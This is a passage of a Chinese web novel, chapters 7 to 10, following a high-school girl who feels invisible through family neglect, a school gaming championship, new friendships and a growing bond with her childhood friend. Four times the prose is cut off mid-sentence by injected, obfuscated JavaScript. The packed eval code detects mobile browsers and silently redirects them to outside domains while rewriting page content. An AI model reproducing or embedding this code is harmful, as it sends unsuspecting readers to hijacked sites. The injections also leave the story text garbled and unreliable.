她还没来得及说什么,就看妈妈下意识扶了一下自己,然后脸上的表情从吃惊到疑惑,再到恍然,最后变成愧疚。 爸爸也是惊呼:“叶子?你怎么在这?” 叶吟紧了紧手指,说:“我来找你们。” 妈妈抓着她的手:“怎么跑这么远,天哪,你怎么来的?自己来的吗?” 叶吟抿了抿嘴,没回答她的问题,而是说:“我回家的时候,家里没人,看朋友圈你们来了S市。” 妈妈脸上的愧疚太浓,但像是浮在水面上的泡沫一样。 叶吟想:大人的面具可真厚啊。 叶妈说:“真对不起啊,叶子,我们又把你忘了。你晚上住哪?我们给你订酒店吧。” 叶吟摇摇头,语气微涩:“我有钱,只是想和你们一起。” 叶爸口吻稍显严厉:“你已经长大了,不用什么时候都跟爸妈呆在一起。钱不够的时候跟我们说,你也知道,你确实是比较特殊,没法改的事就别强求了。” 叶吟余光瞥到几米外竖着耳朵听的杨星。他表情仿佛调色盘,什么情绪都沾点,还在拼命给她比口型,可惜看不明白到底想说啥。 叶吟垂下眼睛,从口袋里拿出那个门口便利店买的、还带着体温的月饼,轻声说:“只是因为中秋,我想着,应该一家人团圆的。不知道你们吃没吃月饼,就偷偷买了机票,看了你们朋友圈才找到这。” “对不起啊,我下次不会了。”她说。 戳人的话谁不会说呢? 叶吟低着头,眼里情绪淡淡的,可这话出口,却是太有份量了。 谁能拒绝孩子千里相送的赤子之心呢?就算是叶父叶母也不能。 叶父表情略微缓和,而叶母脸上的愧疚更真切了两分:“叶子,唉,等我们回去,再一起补一个中秋,好不好?” 叶吟乖乖地点头,话里却没轻轻揭过:“可惜了月亮,十五过了就是过了。不过我也知道,是我一直这么奇怪,所以,今天能看到你们就很知足了。” 她抬头笑了笑:“你们早点休息吧,我两个小时之后的飞机,不用管我了。” 离开酒店的时候,叶吟卡里多了五千块。 杨星有些叹服地说:“你这个演技,可以去当校花的师父了。” 叶吟的表情重新淡下去:“攒了这多年,不是演的。单纯是回想一下,感觉自己确实挺惨的。” 她偏了偏头:“对了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566733|187007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你当时想让我说啥?” 杨星:“其实我当时说,要不你哭哭试试呢……” 叶吟扶额:“杨导演,收了神通吧。今天这一出已经很到位了。” 杨星却坚持说:“不能点到为止,你要持续地让他们保持愧疚、真正意识到自己的错误。” 叶吟:“先别为我的幸福扯大旗了,你妈妈今天问我数竞的事情了。” 杨星脸色一变:“你没露馅吧?” 叶吟晃了晃手机:“现在十一点半,她刚问我什么时候回酒店,说找你有事。” 杨星瞪着她,欲言又止半天,原地转身,进了便利店。 他买了两罐冰镇小麦果汁出来,深沉道:“是兄弟一口闷,我感觉我活不过今晚了。” 叶吟看他“噗呲”一声拉开易拉罐,呆呆地跟他碰了杯:“姐妹,未成年不能……” 杨星哀嚎:“我害怕啊!他们昨天开心一晚上,要是知道是假的不得杀了我……我没跟你说,高一的时候我骗了他们一次,说我作文没时间写,结果被老师找家长说了实话,你不知道,我妈下手多狠……” 他摇摇头,吨吨吨地灌了个干净,然后打了个嗝,满脸视死如归,活像要上断头台的壮士。 叶吟想拦,没来得及。 “呃,也祝你,重获新生,”杨星说完,狠狠地抱了一下她,闷声说,“给我沾沾演技。” 叶吟一愣,结果他松了手就去叫车,不知道人是上头了还是清醒着。 算了,抱一下又怎样,是兄弟就搂搂抱抱,是姐妹就亲亲摸……呸。 她默默地拉开拉环,尝了一口小麦果汁。 咦惹,不如可口可乐。 叶吟把那罐碳酸饮料扔了垃圾桶,保证两个人至少有一个能100%清醒撑场子的。 到了酒店,杨星妈没有动手打人,只说搞太晚了,明天还要早起,但杨星眼光发直,差点开出自爆卡车,全靠叶吟打掩护。 晚上,杨星妈跟叶吟一间房。黑灯瞎火,叶吟在纠结去洗手间还是强行入睡,她突然开口。 “叶子,你想离开那个家吗?” 叶吟一愣,像是懂了:“阿姨不用的,没事。” 杨星妈问完也觉得不合适,笑了一下就轻轻放下:“是我多嘴了。” 叶吟想了想,说:“如果是在我更小一点的时候,阿姨这么说,我可能回家就要跟他俩闹,说阿姨有多好,他们有多坏,然后让他们更不喜欢我。” “但现在,我拥有的东西越来越多了。除了偶尔一瞬间会怪他们没那么爱我,大部分时候都能处理好。” “他们不是坏人,也不是不爱我,只是如果一个人有一百分的精力,他们爱对方花了50,生活花了45,最后五分才剩给我。” 她声音轻轻的:“我也是今天才明白的。与其用我的50分甚至60、70去博他们10分的关注,不如把这些分数用在别的地方。” ——叶吟摸索出的透明人设定第三条:更在意她的人会更容易看到她。 叶吟不想做透明的隐形人。 她的愿望是被看见,却不是只想要被父母看见。 世界很大,她还是个小小高中生。 而未来无限广阔,有太多值得体验的事情了。 8. 第 8 章 第二天,他们逛了几个景点,杨星妈在外滩拍出了十万分满意的照片,立刻就发到朋友圈,配文: “叶子拍照技术太棒啦!” 杨星酸溜溜地说:“她是你闺女还是我是你儿子?” 杨星妈不理,美滋滋地把照片换成了头像。 “真想每次出门都有叶子给我拍照,他俩一个赛一个的没审美。” 叶吟:“是阿姨镜头感很强,保养也好,怎么拍都好看的。” 杨星往旁边挪了挪:“假惺惺!” 不知道他把昨晚那个稀里糊涂的拥抱放到了心里的哪个位置,突然开始跟叶吟避免肢体接触。 叶吟:不懂但尊重。 那种尴尬有点微妙,就好像他们重回了有男女大防的时候一样。 回家后,叶吟收拾东西去了学校,她把估算的花销发给了杨星,百般叮嘱他不许私吞。 虽然杨星不是那种人,但他都那么说了,总得尊重一下吧。 杨星:“。” 很快,假期结束。 周一,升旗仪式,颁奖典礼。 五个人跟升旗仪式上台的好学生根本不搭边,没想到会因为打游戏拿了第一名上到演讲台。 刘胖:“星哥你看看我领子翻出来了吗?” 杨星掀了掀眼皮:“嗯。” 李沫:“我的校牌呢?你们看见我校牌了吗?” 李校花:“在你手里握着呢。” 叶吟感觉手心有点出汗,从没上过颁奖台、公开舞台、演讲台的孩子,再加上天生带着透明人光环,她表面不动声色,实际上是所有人里最紧张的。 杨星:“怎么绷这么紧?” 叶吟简单地吐出两句话:“我紧张,你别说了。” 主持人念完稿子,五人上台。叶吟感觉自己好像艺术节的学姐,明明没穿着小黄鸭泡沫服,却还是深一脚浅一脚,走的都是醉步。 台下黑压压的人,他们五个要站在台上等颁奖词。叶吟一边走,一边斗胆偏头看了一眼底下的学生,突然意识到,自己本来也是其中看不清脸的一个。 而此刻,她站在台上,站在国旗下,仿佛站在世界的中心。 叶吟走第三个,杨星在她后面,轻声说:“放松,说不定底下人光看我们四个去了,不看你呢。” 话是这么说,但他们决定让她捧奖杯啊! 踩着《运动员进行曲》,红方裁判抱着一个真品一半大的银龙杯走了上来。 他的颁奖致辞很短,却写得很走心。 “游戏,或许是有些人眼里的玩物丧志、有些人眼里的洪水猛兽,但游戏也教会人永不服输、永不放弃。” “同一阵营的队友们为着水晶爆破的目标一起努力,就像同学们奔着更好的未来一起寒窗苦读。” “当然,我们不鼓励过量的游戏,尤其在高中这三年,你们最重要的事情还是认清人生主线,履行作为学生的职责。” “鸡汤喝再多也不顶饱,星星摘再多也不会给你高考加分,但希望同学们能用不服输的竞技精神,赢回你的胜利人生。” “水晶不炸,问题不大。乾坤未定之前,你我皆是黑马。” “总之,恭喜……” 他顿了顿。 “……不要3D打印银龙杯队,获得三中第一届农药争霸赛的冠军奖杯!” 台下掌声雷动。 裁判本人是实习老师,二十五六的年纪,正处于高中小孩和古板老师中间的过渡带,他能在这种场合念出这种稿子,代表着一种反抗的成功。 高中生们承受着各方压力,不少人试图用游戏逃避,而校方却愿意给游戏比赛一个光明正大的舞台,同时也提醒着学生们,现在仍有机会掰回正路,双方完全可以各退一步。 刘胖小声说:“我要被说得热泪盈眶了。” 李校花站得笔直:“我看到亚军了,他们在看我们。” 五个人都挺了挺胸膛,叶吟伸手接过奖杯,然后由五个人一同举高。 不论如何,他们确实是名副其实的冠军。 奖杯沉甸甸的,用了实料,压手。 ——确实不是3D打印的。 * 升旗仪式后,奖杯的归属被指给了叶吟。叶吟本人不理解,她觉得校花教练功劳更大,但校花拒绝了。 她说:“其实你才是我们的核心。” 叶吟歪头:“因为最后一局是我偷的家?” 李校花摸不到她的脑瓜,就拍了拍她的肩膀:“傻孩子,如果不是你,我根本不会跟他们玩,杨星和刘胖也一样,李沫更不用说。” 叶吟不懂:“我吗?” 李校花点点头,没再继续这个话题:“之后我要去集训一段时间,你自己没问题吧?” 叶吟惊讶一瞬,然后说:“没问题。加油啊,未来影后。” 李校花“哼”了一声:“那是自然。” 离别突如其来,但根本没有给人时间难过,高二的生活比高一节奏更快,老师直接把他们当准高三来带。 因为没有李校花跟她聊天了,叶吟就养成了写日记的习惯,第一篇是讲他们夺冠,第二篇就是关于李校花的寥寥几笔,隐晦地表达了对朋友分离的惆怅。 她写:“西出阳关无故人,李校花有她的路要走,我想,我也有我的路要走。” * 叶吟自己吃了一周的饭,一名矮个子的女生找到了她的桌子。 “叶……叶吟,”她有点局促,“我是因为农药争霸赛记住你的。” “嗯?”叶吟抬头,“然后呢?” “我就是觉得,你玩游戏特别厉害,然后特别酷,然后看你最近不跟校花一起吃饭了,想问问要不要跟我一起……我没有别的意思!” 她颠三倒四地说了一堆,叶吟悟了:“你想跟我当饭搭子?” 女生摇头又点头:“我想跟你做朋友。” 厚眼镜女生全名陈一衡,常年位于班内排名前五。她鼓起勇气来跟叶吟搭话,但与李校花相比,叶吟跟陈一衡建立的羁绊似乎不太相同。 可能的原因很多,比如,她们两个都不是爱说话的性格,所以默契的沉默更多;走在一起的时候,叶吟迈两步,陈一衡要迈三步;叶吟喜欢吃面,陈一衡喜欢吃米饭;叶吟喜欢打游戏,陈一衡虽然也玩,但是她明显更爱学习。 那天中午,叶吟看她苦大仇深地戳着面条,说:“其实你不用陪我天天吃面的。” 陈一衡紧张起来:“诶,那我们……?” 叶吟叹气:“我的意思是,我们可以一天吃米饭,一天吃面。” 陈一衡肉眼可见地红了起来:“噢噢,谢谢你。” 陈一衡性格内向得很,跟叶吟的透明不一样,她是单纯社恐。 叶吟想把杨星刘胖他们介绍给陈一衡,但后者婉拒了,不过偶尔会被叫来跟他们五排。 李沫经过锻炼已经成为了一个合格的辅助,但陈一衡不会打野,所以他让出了辅助的位置,开始打射手。 原本的射手杨星回到了他最爱的对抗路,而新来的陈一衡,最喜欢的事情是玩瑶挂在叶吟头上。 叶吟爽玩大法核,吃遍全场。 1v2扛压的李沫:发育路,真的很难玩啊! 日子一天一天流逝,很快高二上学期就到了结尾。 叶吟期末考完,感觉这次发挥不错,还特意请陈一衡吃了顿饭,说感谢她把自己带得热爱学习了不少。 陈一衡:“没有的,其实你本来就很聪明,我觉得只要你认真学,肯定能进步很多的。” 叶吟第一次听人这么说自己,她有点意外,但陈一衡表情真挚,让她有种被烫了一下的错觉。 这就是被看到的感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16566734|187007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉吗? ……我真的可以吗? 出了成绩,果然不错。 陈一衡毫不掩饰对她的肯定,把叶吟都夸到不好意思了,结果一问才知道,她本人发挥也依然稳定,不显山不露水地考了班级第三。 叶吟心中起了点劲,她想,来都来了,能不能再往前一些? 前面一个同学总分只比她高三分,前面第五个同学总分只比她高十四分。 好像,也不是很多啊? 另外一边,杨星正常发挥,而全文班里,李校花缺考,李沫依然垫底,两个人在倒数几名手拉手,刘胖路过还偷偷拍照了。 之后就是寒假与过年。 李校花终于在群里出现:“这破集训竟然还收手机,我三个月没碰游戏了!” 李沫秒回:“集训生活怎么样?” 李校花:“别提了,相当乱,没过过这么乱的日子,人也是乱七八糟的,真怀念读书啊。” 李沫:“哪家机构?” 李校花报了名字,继续说:“一想到下学期还得去,就感觉淡淡的死志环绕着我。” 李沫:“会好的。” 李校花:“咋群里只有你?其他人呢?” 李沫:“他们应该是三排去了,没看群。” 于是下一局就变成了熟悉的五排、熟悉的分路配置。李沫随口提了句陈一衡,李校花立刻跑到中路。 李校花的英雄头上冒出一个“恼火拍桌”表情:“叶吟,我不在的时候你有没有被别的小妖精迷了心?” 叶吟发了个“卖萌”表情:“报告,我的心里只有你。” 李校花点了个“不愧是你”:“觉悟很深,不错。” 杨星:“但是陈一衡玩瑶跟她貂蝉有配合的。” 李校花:“嗯?” 刘胖添油加醋:“校花要是玩辅助跟着叶吟的话,她们中辅直接二打五通关。” 李校花很清醒:“那不行,我到底还是有颗输出的心,要是让我奉献自己给人辅助,吟子还得再努力点。” 叶吟:“玩自己最喜欢的就好。人玩游戏,又不是游戏玩人。” 刘胖:“哎,其实陈一衡来玩的时候,最累的不是我,是李沫,他呆在那绝育路坐大牢。” 李沫:“牺牲自己成全大家,我没关系的。” 李校花:“呕——” 过了一会儿,叶吟说:“我爸妈回来了,我先下了。” 经过叶吟半个多学期的刻意强化,叶父叶母明显对这个小孩多在意了一点。 叶吟就像那个茉莉般忧郁的闺女,她把自己装点成了一朵坚强的小白花,一边“我自己也可以的”,一边“我也会伤心的”。 今天,叶父叶母说,他们准备去趟欧洲到过完年,问她要不要一起。 叶妈妈说:“你读高中,时间紧任务重,要不然就等读大学了,我们再一起去?” 叶吟看着他俩极力劝退的样子,笑了笑,乖巧地说好。 她问了二老出门的日子,然后发到群里:“这几天开学习小组,有没有报名的?不包住不包吃。” 杨星:“我报名。” 李校花:“我报了补习班。” 李沫:“我得回B市老宅过年。” 刘胖:“……姐,你家离我家有点远。” 最后就成了她跟杨星两个人。 杨星:“哎,我能不能直接住你家,我爸妈最近吵架呢,老波及我。” 叶吟:“咋了?啥事啊?” 杨星:“我爸偷偷给我妈买了个金镯子,准备当过年礼物,结果被我妈看到小票,质问他是不是送给别人了。” 叶吟:“……中年人的情趣,我不懂。” 杨星赞同:“让他俩自己闹去吧,我明天开始去你家?” 叶吟:“说好了,要学习的哈,不能老玩游戏。” 9. 第 9 章 前脚叶爸叶妈离开,后脚杨星背着书包来了。 叶吟不知道为什么又想起那个小麦果汁味的拥抱,但她一向装得好,所以表面上还是看不出深浅的样子。 “先打两把。”杨星大爷似地往沙发上一坐,掏出手机。 叶吟:“不行,先做一节题。” 她好像铁了心地要学习,杨星只好陪同,愤愤地说:“陈一衡把你带成学霸了我们咋办。” 叶吟说:“你们也可以当学霸,反正还没到高二下学期。” 杨星不明白:“怎么突然觉醒了?” 叶吟:“陈一衡说,我这么喜欢玩游戏,以后可以去学游戏设计。” 杨星:“你要当码农?” 叶吟:“是一种方向,但我更倾向于图形和……建模方向的?” 杨星:“大差不差,不过你别说,可能真的挺适合你。” 遇到不会的题,叶吟就拍个照片发给陈一衡,陈一衡看到就会回。 学了五天,杨星待不下去了,仿佛离家出走的孩子终于想起了家里的好:“你是真学,我不行了,我以为我是来跟你开黑的,没想到是来补习的。” 叶吟抬头看他一眼,冷酷无情道:“是的,我下个学期的目标是摸到我们班前十。” 杨星说:“你还往咱们群里发学习笔记,天啊,你知不知道鲶鱼效应?” 叶吟拿起手机顺手搜了搜。 ——“往沙丁鱼群里放一条鲶鱼,会刺激沙丁鱼群保持活力,防止它们安于现状。” 叶吟:“嗯……让你们肉质紧致?” 杨星:“你就是条大鲶鱼,真不想跟卷王玩……明天我去找刘胖,你要不也休息一天?” 叶吟想了想:“行,我去约陈一衡,她给我讲了不少题,得感谢她一下。” 约得很顺利,可等第二天见面,陈一衡的眼睛红得像兔子。 “怎么了这是?被人欺负了?”叶吟把没开封的奶茶往她手里一塞,“暖暖手。” 陈一衡好像要哭了一样,但她没哭出来,只吸了吸鼻子,闷闷地说:“我爸妈好像要离婚,被我听到了。” 叶吟一愣,短促地答:“啊。” 陈一衡眼圈更红了:“昨晚听到他们说已经领了离婚证,等我高考完就分居。” 叶吟默然。 陈一衡等了等,没等到话,却被搓了搓头顶。 她忍不住笑了一下,闷闷地说:“我以为我是来听你安慰的,突然发现,什么都不说这样才是最好的。” 叶吟请她看了场电影,是个剧情片,两个人看完还在讨论情节。 进了餐厅,服务员差点给陈一衡拿个熊来陪她吃饭。 他显然是走近了才看到叶吟,掉头就走的动作太突兀,两个人都看见了,于是话题悄然转换。 陈一衡:“你的存在感真的很奇妙,我当时记你的名字花了好大力气。” 叶吟把电影票根折了又折:“可能因为我太平凡了吧。” 平凡到没有任何记忆点、任何值得关注的地方。 陈一衡想了想:“但其实大多数人都是平凡的,只是看到你要更用心一些。比如,颁奖之前我并不知道班里有打游戏这么厉害的女生,但是自从知道了,我就会上心些。” 叶吟伸了个懒腰,两个半小时的电影给她的老腰造成了持续掉血效果:“是啊,但人心太小,关注力总是有限……不提了,吃饭,感谢你当我的老师。” 陈一衡摇头:“没有的,应该的。” 很快就到了过年,叶吟没藏着掖着,问杨星能不能去他家蹭点年味。 杨星:“来来来,我妈难得做了红烧鱼,巨好吃。” 叶吟买了套某牌化妆品,还买了两盒网红点心,这才提着东西上门去。获得了几句善意的责备,她只笑笑,说:“空手来总是不好意思。” 四个人仿佛一家子一样,春晚的跨年倒计时结束,杨星爸举起酒杯,气沉丹田地说:“新的一年,越来越好!” 杨星小声嘲笑:“真把自己当一家之主了。” 两杯可乐与两杯酒互碰杯沿,窗外响起了烟花声。 “这两年禁燃令松了点,”杨星妈说,“储物间有几个礼花,一会儿你们下去玩吧。” 叶吟拿手机给二老发了句新春快乐,抬头说:“好啊。” 下楼的时候杨星顺嘴问:“马上二月了,他俩在干嘛呢?” 叶吟:“可能在挪威看极光吧。” 杨星拿着打火机点引信的时候,叶吟揣着手站在远处等。 他点上就跑,喘着气站到叶吟身边,然后两个人就仰着头看烟花打到天上,像两棵整齐的向日葵。 “新年快乐,杨星。”叶吟轻轻地说。 “哎,新年快乐。”杨星轻咳一声。 偏脸看到叶吟眼里倒映着星点火光,他心里像是被花丛里的流浪猫舔了一口,麻中带痒,还有一丝拉扯的痛。 ——叶吟这么好的人,为什么别人看不到呢? 叶吟没想那么多,此时此刻,她刚接收身体发的信号,算了算时间,又到生理期了。 这段时间学习学得,实在有点不知今夕何夕了。 想到一小时前她还跟阿姨说要回去收拾残局,叶吟冷静开口:“我得回家一趟,你把我的那份活儿留着,我很快回来。” 杨星:“咋了?” 叶吟随便想了个理由:“我回去拿充电器。” 杨星:“我家有啊,咱俩插口一样的。” 叶吟:“……我可能来姨妈了,我要回家换衣服换姨妈巾。” 杨星“唰”一下僵住,手脚不知道该怎么摆了:“啊,噢,那行,你去吧,没事。” 叶吟扭着腿走了两步,杨星竟然有点呆地又跟了上来:“你还能走吗?” 叶吟站住,认真回头说:“我不痛经,我也不是瘸了。” ——我只是忘记垫护垫。 杨星后撤步,动作僵硬:“sorry,您请。” 两个人都尴尬的时候,有一个更尴尬的,另一个就尴尬不起来了。 叶吟就是后者这种状态。 半小时后叶吟重新敲开杨星家的门,杨星身上挂着围裙,手里拎着两个垃圾袋,表情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16566735|187007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相当得意:“我干完了,叶大人可以来检阅一下成果了。” 叶吟略一皱眉:“不是让你给我留着的吗?” 杨星想当然地说:“生理期不应该多休息吗?” 叶吟叹气:“很感谢你,但我没有虚弱到那种程度,主要是你替我做决定的时候,想没想过阿姨会怎么看?我说要收拾,结果人直接跑了,让你自己干,嗯?” 叶吟接过他手里的垃圾袋,玩笑一样说:“你这算不算大男子主义?” 杨星根本没想到这层,张口就说:“没事的呀,我妈不会介意的,都多熟了。” 叶吟摇摇头:“不一样的。” 此事不了了之,杨星有种好心做坏事的伤心和不解,叶吟维持着她的距离感,也没有多解释。 没两天叶父叶母回来了,学习小组原地解散,整个寒假后半截,群里原本热火朝天的上分氛围似乎都因为二人的冷战被浇灭些许。 具体表现为,叶吟原先会平等地帮上下路抓人,现在基本只抓射手。而对抗路杨星蹭中线的手法越发没有顾忌,经常把自己刷到经济第一顺位,然后自带一路。 李校花敏锐地察觉了不对劲,问了叶吟,才知道过年发生了这点小插曲。 她叹了口气,感觉自己像那个处理幼儿园小朋友吵架的老师:“我明白你的感觉,叶吟,你是很独立的人,不会想别人掺手你的决定,但我觉得,你跟杨星已经很熟了,这种距离感,其实也会有点伤人的。” 叶吟只说:“那是我该做的。” 李校花心累:“你们是朋友,朋友之间的事情,应该一码归一码、应该亲兄弟明算账,但是别人对你的好,有些可能不需要你立刻拿出等价的东西做交换。亲密关系不是交换,叶吟。” “就比如杨星,他可能只是心疼你呢?” 叶吟困惑:“他,心疼,我?” 李校花:“嗯哼。” 高二下学期开学没几天,杨星过来找叶吟,这算是他们年后的第一次线下会晤。 “我问了李校花,”杨星硬邦邦地说,“她说我不该替你做决定,让我向你道歉。” 叶吟捏着水杯听他说。 “但是我查了,痛经不止包括肚子疼,还包括,”他顿了顿,拿出一张纸,开始照着念,“胃肠道症状如消化不良、腹胀、恶心呕吐、腹泻或频繁便意;全身性症状如疲劳、乏力、头痛、冷汗……” 叶吟喝了口水,想压压惊,结果忘了杯子空了,喝了口空气——还好没人注意。 杨星还在念:“……情绪与神经精神症状,如情绪波动、易怒想哭、注意力不集中、失眠等。” “所以我不觉得那天我多干一点是错的,”他冷硬地总结,“如果有下次,我还是会出手的。” 叶吟看着这张熟悉的脸,说出这些颇为ooc的话,实实在在地消化了一会儿。 “行,我知道了,”她干脆地说,“我也有错,本来不是什么大事,是我太上纲上线。” 杨星表情一松:“那我们和好了?” 叶吟冷笑:“你把之前吃我的中路兵都吐出来再说这话。” 10. 第 10 章 两人在深冬开始冷战,又在春天冒芽的时候稀里糊涂和好。 百日誓师那天,叶吟正在杨星班上物理,听到楼下的喊声,她位置靠窗,就转头观赏了一会儿。 高三的学长学姐在操场上站得整整齐齐,像田里的秧,五楼看下去看不清脸,只能听到他们一声盖过一声的“必胜”。 不论成绩好坏,可能那一瞬间里都是卯了劲,想声音再大一点,想分数再高一点,想等出成绩的时候能更高兴一点。 高三…… 明年就是他们了。 叶吟转回头来,发现老师已经讲到下一页了。 * 四月底的运动会,叶吟被派去女子组跳高。 陈一衡比的是短跑,她个子矮,但简直飞毛腿,发令枪一开就冲在最浅,遥遥领先,像个小炮弹。 比完回来,陈一衡一头亮晶晶的汗,手里拿着塑料金牌:“看!” 叶吟坐在观众席最后一排,她本来在蒙着校服外套打游戏,闻言撩高了外套,给陈一衡比了个大拇指:“厉害,你准备田径比赛大满贯吗?” 陈一衡坐下吨吨吨地喝了几口水:“我耐力不行,50和100还可以。” 叶吟有点羡慕,因为她是一个极缺乏运动细胞的人,高一的运动会全程当观众,没想到高二会亲自下场。 老班推荐她跳高的理由很简单:个高、腿长、有优势。 但到了检录之后,叶吟看着上一位选手的第一杆,再看看自己腰的高度,感觉跳高这事儿,难如上青天。 她的话,得坐飞机才能翻过去吧? 果然人生首次尝试出道即低谷,叶吟压着杆落到垫子上,受力姿势不对,直接扭了脚。 一瘸一拐地拖着腿回到观众席,叶吟感觉有点丢人,闷不吭声地爬回坐位假装无事发生,校服一蒙,继续玩游戏。 过了一会儿刘胖在群里说:“看见星哥了吗!星哥跑3000!太猛了!妈呀!!” 三千米,七圈半。 好远。 叶吟默默地抬头张望一圈,正好听到喇叭里喊三千米男子组准备。 她印象里,杨星属于运动神经不算发达、但在及格线上的那一挂。追溯起来,她甚至能想起初中,豆丁跟他的小伙伴冒着雨天在操场踢球的场景。 一个个不论个子高矮,湿淋淋的跟水鬼一样,头发贴在脸上、衣服贴在身上,踩着水狂奔嘴里还叫唤着…… ……下雨我为什么要去看他们踢球? 叶吟感觉那时候的自己也够无聊的。 走神回来,发令枪响,叶吟眯着散光的眼睛看,半天没分出来谁是谁。 无奈只能拖着伤腿往下走,叶吟觉得离近一点,说不定能看出来那一堆小人儿里,哪个是她倒霉催的发小。 ——她坚信,杨星报名三千米绝对跟她一样,受到了别人教唆。 脚踝有点痛,但她还是挪了下来,惊讶地发现杨星正好从她们班看台的前方跑过,更离奇的是,他紧跟在第一名之后,看起来竟然还有点游刃有余。 初中那个豆丁,读高中二次进化了? 叶吟没有再开游戏,认认真真地看起了比赛。杨星第一圈完全没注意到她,直到第二圈路过才在稀疏的人群里看到一张眼熟的脸。 他心里一提,想着不能给叶吟看低了,更是卖力提速,直接抱着要超越第一名的目的去了。 第一名是个黑皮体育生,不过是个打篮球的,速度爆发上可能没有杨星快,但是耐力上颇为能打,于是一时上头的杨同学弯道超车后,第三圈还勉强能撑住并列,第四圈就老实地回到了第二名。 第五圈,掉到了第三名。 第六圈,经过叶吟她们班的时候,杨星已经不敢分心再看,甚至担心跑完之后拿个倒数,叶吟说不定能笑话他一学期。 就在这个念头落地的时候,他听到那个平日里人淡如菊的家伙超大声地喊:“星哥!加油!” 猝不及防地转了下头,他看到叶吟踩在第一层椅子上,手里挥着校服,声嘶力竭地喊:“加油!!” 杨星心想:还好你周围的人不看你,谁应援还踩凳子啊!没素质! 叶吟在第七圈的时候也卖力地喊了两声,感觉自己嗓子都要劈叉了,这才挪下来,然后用湿巾把椅面擦了,等杨星跑完来通禀成绩。 脚似乎肿得有点厉害了,叶吟放弃了去终点接人的想法,反正杨星没看到人,肯定会过来找她的。 那边的杨星拼尽全力冲刺终点,一头大汗,喘得像头牛,左看右看没看到人,又被赶着去领奖。 校运动会流水线颁奖,他拿了个铜牌,直接就朝叶吟他们班来了。 第一排已经没人了,他抬头往阶梯上面看,果然看到后面有个校服外套蒙头的人影。 他悄无声息地靠近,冷不丁掀起外套也钻了进去,叶吟被吓了一跳,然后就闻到一股阳光的味道,狠狠地侵略了她的空间,耍赖一样无孔不入。 叶吟:“滚啊。” 阳光太晒,照到屏幕上就会反光,所以她才披着外套玩。但现在杨星往里一挤,事情一下子变了个味。 这大概是上次小麦果汁味拥抱之后,两人贴得最近的一次了。 她没真赶人走,毕竟两只手都在操作,只能用肩膀顶他一下:“你把汗都蹭我校服上了,等我打完一定杀了你。” 杨星也尴尬了那几秒,但仔细想想,都多熟了,好像也没啥。他“嘿嘿”一笑:“我听到你给我应援了,比我们班啦啦队声音还大。” “哟,还有啦啦队呢。”叶吟闪现追击,擦着技能指示器的边缘把人头补了。 “那当然,我们虽然纯理,但是有政治走班嘛,女生还是有几个的。” 叶吟没好气地说:“讲人话,第几名?第六?第七?” 她刻意把名次往低压,果然杨星翘起尾巴,得意洋洋地掏出奖牌:“看!铜牌!” 叶吟配合地说:“啧,还挺厉害。” 杨星跟她缩在校服外套下面,指指点点:“你刚刚那波开得太快,队友脱节,等他们过来,你的控制都结束了。” 叶吟:“我可以开无数波团,只要有一波队友能跟上就行。” 杨星:“哇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16566736|187007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 塞,这就是我们伟大的中单大人。” 等她这把游戏打完,杨星伸手按熄了她的手机。 动作稍微有些出格,叶吟眉毛一跳,但杨同学显然没意识到,他把脖子上的铜牌摘下来,认认真真地套到了叶吟的脖子上。 “送你了,哥的奖牌。” 叶吟低头,两指夹起奖牌,若有所指地说:“嗯,铜牌。” “那咋了,”杨星稍微一挺胸,头一顶,校服外套就往他那边挪了一部分,“你们跳高也跳完了吧,你有奖牌吗?” 叶吟诚实地摇摇头:“我没有。” 然后她从旁边的书包里拿出陈一衡的金牌:“但陈一衡把她的金牌给我了。” 杨星怔住,然后咬牙:“我要告诉李校花!她不在的时候你又跟别的小女孩勾勾搭搭!” 叶吟看他吃瘪乐得不行,把陈一衡的金牌收了起来,倒是没摘杨星的铜牌:“那送我的这个,是给你做牛做马的缰绳呢,还是给我打的狗牌呢?” 杨星送她的时候没想那么多,现在倒是豁然开朗:“当然是狗牌了!” 